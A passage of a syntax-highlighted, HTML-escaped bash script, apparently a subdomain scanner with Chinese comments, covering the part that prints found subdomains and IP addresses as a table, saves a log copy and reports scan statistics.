&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;172&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;173&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 读取结果计算最大长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;174&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;175&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;176&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $4}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;177&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;178&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 处理超长字段&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;179&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;60&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;180&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;15&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;181&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;182&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; -gt &lt;span class="nv"&gt;$max_sub_len&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;183&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_sub_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;184&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;185&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;186&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; -gt &lt;span class="nv"&gt;$max_ip_len&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;187&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;188&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;189&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;190&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;191&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 添加边距&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;192&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_sub_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;max_sub_len &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;193&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;max_ip_len &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;194&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$max_sub_len&lt;/span&gt; -lt &lt;span class="m"&gt;20&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="nv"&gt;max_sub_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;20&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;195&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$max_ip_len&lt;/span&gt; -lt &lt;span class="m"&gt;15&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;15&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;196&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;197&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 创建表格顶部&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;198&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;┌─%s─┬─%s─┐\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_sub_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;199&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_ip_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;200&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;201&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 表格标题&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;202&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;│ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_sub_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Subdomain&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;IP Address&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;203&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;├─%s─┼─%s─┤\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_sub_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;204&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_ip_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;205&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;206&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 表格内容&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;207&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;208&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;209&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $4}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;210&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;211&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 截断超长字段&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;212&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;subdomain&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;60&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;213&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;15&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;214&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;215&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;│ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_sub_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │ %-&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;s │\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$subdomain&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;216&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;217&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;218&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 表格底部&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;219&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;└─%s─┴─%s─┘\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_sub_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;220&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%*s&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$max_ip_len&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;221&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;222&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;223&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;224&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 保存原始输出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;225&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -s &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;226&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;LOG_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CSV_OUTPUT&lt;/span&gt;&lt;span class="p"&gt;%.csv&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.log&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;227&lt;/span&gt;&lt;span class="cl"&gt; cp &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;228&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;229&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;LOG_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;230&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;231&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;232&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输出统计信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;233&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;234&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描完成&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;235&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;结束时间: &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;236&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;总耗时: &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;TOTAL_TIME &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt; 分钟 &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;TOTAL_TIME &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt; 秒&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;237&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;共扫描: &lt;/span&gt;&lt;span class="nv"&gt;$COUNT&lt;/span&gt;&lt;span class="s2"&gt; 个子域名&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;238&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;发现: &lt;/span&gt;&lt;span class="nv"&gt;$FOUND&lt;/span&gt;&lt;span class="s2"&gt; 个活动子域名&amp;#34;&lt;/span&gt;
